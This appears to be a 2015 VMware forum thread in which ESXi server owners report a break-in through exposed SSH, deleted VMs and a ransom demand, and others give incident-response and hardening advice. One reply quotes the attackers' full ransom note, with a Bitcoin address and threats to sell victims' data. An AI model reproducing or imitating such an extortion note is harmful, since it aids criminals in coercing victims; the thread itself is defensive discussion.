1 2 Previous Next 19 Replies Latest reply on Jun 22, 2015 11:54 PM by JarryG

    ESXi 5.5 hacked, next moves

    ashleydrees Novice

      My ESXi server has been hacked - i foolishly left the SSH server on (i forgot) - that is if that is how they got in.

       

      At the root of every disk there is a folder called -HACKED- which i am unable to enter and it seems like something has been done with all the disk files, i say that because the disks seem to have the same amount of data used as if the disk files were there, but as they are either deleted or no longer in the location the vm needs to run, all the vm are currently offline.

       

      i cannot enter the -HACKED- folder (i did not try too hard as i wanted to bring the machine offline. as "cd -HACKED-" tells me that -H is not a flag.. "'cd -HACKED-'" does not work either.

       

      I have a call from vmware scheduled for monday AM, but if anyone else has seen this kind of vandalism - or perhaps it is ransom type activity - i do not know, i guess i am feeling my way round this as i have never had to clean up an ESXi machine before, only linux and windows.

       

      So any thoughts - ideas - anything - i am busy moving backups to other machines - but i have not got 100% backup coverage so am really interested to see if there is anything i can do.

        • 1. Re: ESXi 5.5 hacked, next moves
          cykVM Expert

          Hi,

           

          you may try

          cd -- -HACKED-

          to entrer the directory (-- is end of options) or even

          cd ./-HACKED-

          should work from the top-level directory.

           

          You should definitely disconnect the machine from the internet and probably put it in a kind of closed (temp) network for investigation.

          Check if further access routes/services were opened from the public.

          If your VMs still exist somewhere do a brief check if they were altered in any way. I won't bring them up in production straight away.

          Also check your backups as the hacker might not be just one person messing around and leaving obvious traces (like the -HACKED- folder). This might have been going on for a longer time with several people accessing your box.

           

          cykVM

          1 person found this helpful
          • 2. Re: ESXi 5.5 hacked, next moves
            cykVM Expert

            Additionally if you have some kind of monitoring in place you should check if the hacker(s) probably even downloaded your VMs (vmdk and othe files) via SCP by checking the logs and/or high data transfers while those guys were logged in.

            1 person found this helpful
            • 3. Re: ESXi 5.5 hacked, next moves
              VMTOCloud Expert

              I would suggest you should always use the default SSH timeout.

              This is common mistake people used to do they didn't configure SSH timeout.

               

              Please do follow this to recover Recover Data from VMFS, ESX, ESXi, vSphere Disks

              1 person found this helpful
              • 4. Re: ESXi 5.5 hacked, next moves
                JarryG Expert

                If you really suppose your ESXi has been hacked, you should take it down asap. You can not be sure what is running there, and even if you got into those -HACKED- folders, you might see nothing (despite of something being there).

                 

                So I recommend to take it down, take system-disk of this ESXi out and mount it on some secure workstation. It should contain a few vfat-partitions. Anyway, I think you can not do more than re-install ESXi and restore VMs from backup.

                 

                For the future: never (NEVER!) expose management-port to the wild! ESXi is not designed to be able to protect itself alone. Its "firewall" is just very basic filtering script, lacking a lot of functionalities modern firewall has (i.e. connection rate limiting). Honestly, I think it was bad move from VMware to include it in ESXi because now some users have false impression of security. ESXi should either have serious firewall, or none at all...

                1 person found this helpful
                • 5. Re: ESXi 5.5 hacked, next moves
                  virtualkitten Novice

                  That just happened to a server of mine. ESXi 5.5 a year uptime because it was a standalone server. Password complicated to bruteforce. NTPd and SNMP disabled.

                   

                  Any ideas about the entry point ? remote exploit ? It is kind of humiliating as well as annoying as I do have several important VMs there, not as worried if they stole the data but...

                   

                  Here is the message on the server inside the HACKED folder

                   

                  Hello everyone,

                   

                   

                  I just want to tell you that your server was hacked. Your protection was completely awful...

                  While the entrance, we downloaded the virtual machines and deleted them.

                  (We had to download for many hours -.- Compressed files but huge ones...)

                  Do not try to search in your logfiles. We deleted the important parts.

                  If you want to get the backup of your VMs, you should send us an amount of 2.5 BTC (Bitcoin)

                  for each VM to the address "1BsSKUEn2ktMPr85UZDyXDBPHMhK5gR3M8". After the payment, we will contact you via mail.

                  Then, we will send you a HDD where the VMs are stored. If you want, we can give you access to our FTP where you can

                  download them. (Because FTP is faster, remember the shipping time of the HDD after payment)

                   

                   

                  Please notice, that we will sell the VMs to others if we will not receive these Bitcoins from you. Do not worry,

                  you have 2 weeks for these payment. After 2 weeks without payment, we will break the VM and sell

                  all data to our customers (other hackers, spammers, scammers, ...)

                  (FYI: Some of them may use the data of your customers/employees/... to blackmail them for money. No nice guys, but they pay for that data)

                   

                   

                  Do not worry: If we receive the BTC, we will send you the backup (or give you full access to FTP) and delete all data here.

                  (If you want FTP, you can do it for your own) We are hackers, but we want to play fair. If you pay, your data will be secure.

                  There a short overview about where to buy BTC:

                    - www.litebit.eu

                    - www.anycoindirect.eu

                    - www.happycoins.com

                    - www.bitcoin.de

                    - www.btcdirect.eu

                    - www.clevercoin.com

                    - www.bitstamp.net

                   

                   

                  We wish you a nice week

                  Kind regards

                   

                   

                  - Russian guardians

                   

                  Please think about our offer, your data and your computers...

                  • 6. Re: ESXi 5.5 hacked, next moves
                    cykVM Expert

                    The entry point would be any management service (ssh, webservices etc.) being exposed to the internet.

                    I gues they had all the time do run scripts on the ssh login.

                     

                    You should have anything in place to check if they really downloaded the VMs...

                    • 7. Re: ESXi 5.5 hacked, next moves
                      virtualkitten Novice

                      Yeah, I should have many things. But servers are standalone, depends on the company to provide resources. Or use oVirt, as I often recommend but we will not discuss this at the moment. I cannot know when this was actually hacked so they had plenty of time.

                       

                      SSH was enabled, vSphere GUI was enabled. But the password is strong enough to be bruteforced. Thus, my concern.

                       

                      NTPD or SNMP exploits... could be, but on that server those were disabled because I knew the server was not patched (as I couldn´t, not without downtime risk,etc.). The attackers deleted all VMs from disk, potentially downloaded (only way would be check network usage but I have backups as well so not easy).

                       

                      Having SSH enabled is not a security issue, per-se. It is better if you filter or you change the port but anyway...

                       

                      I have other hosts (even older) I wonder if those are at risk... and why the affected is the most recent one, maybe there was a datacenter leak with passwords or something.

                      • 8. Re: ESXi 5.5 hacked, next moves
                        JarryG Expert

                        Having any management-service exposed to internet unprotected *is* serious issue! With enough of distributed resources (botnets with thousands of computers) no password is strong enough. If you do not have connection-rate limit and/or auto-banning of offending hosts implemented on perimeter firewall, question is not if your server gets hacked, but when this happens...

                        • 9. Re: ESXi 5.5 hacked, next moves
                          virtualkitten Novice

                          Yeah, well, those quotes are fine from a marketing perspective. But no, I can have an OpenBSD with SSH open and be perfectly fine unless an exploit for SSH appears. And OpenBSD has PIE, so even with a vulnerability you are protected somehow.

                           

                          But I understand what you say, however, you need SSH enabled often. It is like saying do not expose Apache when you have a website running. I agree it is better if SSH is only accessible from certain IP addresses but... I believe the service is robust.

                           

                          Again, I do not think they bruteforced the password, I am not sure about exploits that gives you a shell or creates additional users.

                           

                          Any idea of what services could be dangerous left with default settings ?

                           

                          How to protect the vSphere login (you definetively need that run on a standalone host)

                           

                          thanks

                          • 10. Re: ESXi 5.5 hacked, next moves
                            cykVM Expert

                            Yeah, well, those quotes are fine from a marketing perspective. But no, I can have an OpenBSD with SSH open and be perfectly fine unless an exploit for SSH appears. And OpenBSD has PIE, so even with a vulnerability you are protected somehow.

                            "protected somehow" sounds very marketingish and trustworthy, too. Seriously, you compare a full featured OS with a hypervisor OS in terms of security. VMWare never had the intention to replace an OS and therefor at some point they have to make the underlying OS as compact as possible for the hypervisor use.

                            You also can't directly compare a KVM based hypervisor with VMWare, completely different approaches in terms of a hypervisor.

                            But I understand what you say, however, you need SSH enabled often. It is like saying do not expose Apache when you have a website running. I agree it is better if SSH is only accessible from certain IP addresses but... I believe the service is robust.

                            And again comparing apples (ssh) to oranges (Apache). You can perfectly leave SSH enabled with VMWare on your management (internal) network but not exposed to the internet without additional external protection.

                            How to protect the vSphere login (you definetively need that run on a standalone host)

                            Yes, but only on the management network.

                            You can still use a VPN connection to the internal network to manage the host from remote.

                            I don't think that your box was hacked through an exploit, was just the distributed bruteforce way JarryG mentioned above.

                            And for your other/older hosts I would take them off the internet ASAP, those guys may come back and hitting the IP of that other host(s).

                            • 11. Re: ESXi 5.5 hacked, next moves
                              virtualkitten Novice

                              So, are they exploits for the web interface for the vSphere or the SSH ? if not, the only thing someone can do is bruteforce the password.

                              Can be the password bruteforced considering 10 chars with sym, cap, lower, nums ? as long as it has a time out that sounds complicated to bruteforce but can definetively be possible.

                               

                              Still, even exposing those I do not think someone could simply hack the server. But you may be right.


                              Leaving that aside:

                               

                              I have disabled SSH in all the other hosts.

                               

                              What is the best way to prevent random IPs to connect via vSphere client and/or SSH ? is there a Firewall or you suggest any other way ?

                               

                              I connect to those servers from remote myself (I do not have physical access) so I wonder about the VPN, can I do that with just the Host itself ? or do I need an auxiliary host on the network ? I do not want to rely in one VM with OpenVPN to manage the server because.

                              • 12. Re: ESXi 5.5 hacked, next moves
                                cykVM Expert

                                What is the best way to prevent random IPs to connect via vSphere client and/or SSH ? is there a Firewall or you suggest any other way ?

                                Put a (real) firewall in between the host and the internet where you configure connection limits portwise. The ESXi firewall is very basic and üproviding only basic protection.

                                I connect to those servers from remote myself (I do not have physical access) so I wonder about the VPN, can I do that with just the Host itself ? or do I need an auxiliary host on the network ?

                                No, ESXi is not capable of doing (real) firewalling, VPN server etc.. So you need a separate box for that. You may even try to implement some kind of port knocking in conjunction with a ssh tunnel for example. But this also need a separate box/firewall.

                                I do not want to rely in one VM with OpenVPN to manage the server because.

                                Instead you rely on the host's basic security, not a good idea in my eyes. Maybe a decent router with firewall and VPN is a decent solution for that. If it needs to be not too expensive, I have good experiences with Draytek routers for SMB.

                                • 13. Re: ESXi 5.5 hacked, next moves
                                  wootn0w Lurker

                                  Have you had a chance to ID the attackers IP?

                                   

                                  It seems this was a broad range attack on multiple esx servers which had (I assume) ssh open.

                                  Seeing log files of this it clearly shows a brute force attack behavior. I'm curious though if atm there are other open vulnerabilities which may allow such access.

                                  • 14. Re: ESXi 5.5 hacked, next moves
                                    ashleydrees Novice

                                    No, we have not tried to find a culprit, though we have asked the D/C to outline the usage over the past while as we are not even sure they have moved the data out, if there is no significant data movement then we are certain the VMs are just deleted.

                                     

                                    Machine is now offline and the disks going to ontrask for imaging and investigation.

                                     

                                    The police have been informed and have been to visit the sick item, waiting on the cybercrime team to show interest.

                                     

                                    Even if we paid up and got the data sets back, to use it would be asking for trouble, it has been seen that in similar cases to this, even though the ransom was paid, the data was still sold on - we will see what Kroll get back, we are recreating what we do not have as backups.  I will spend a lot more time on securing ESXi, possibly to the point of adding a security appliance between it and the wild world as this must not happen again, and as pointed out, the firewall is minimal in ESXi.

                                     

                                    This pastebin was from the day before, perhaps it could be traced...

                                    http://pastebin.com/00agVLTT

                                     

                                    Seems it has happened before elsewhere in the world.

                                    http://www.webhostingtalk.ir/showthread.php?t=144258

                                     

                                    We have some attentive people looking into the B.C. id's, i hope something comes of that.

                                     

                                    And, if you are reading this, and it is your work, thanks, you messed up a couple of my days and some very worthwhile projects that were hosted the server got a terrifying shock, they try to help sick and worried, whilst you hold us to ransom on pain of destruction or selling the data.

                                    1 2 Previous Next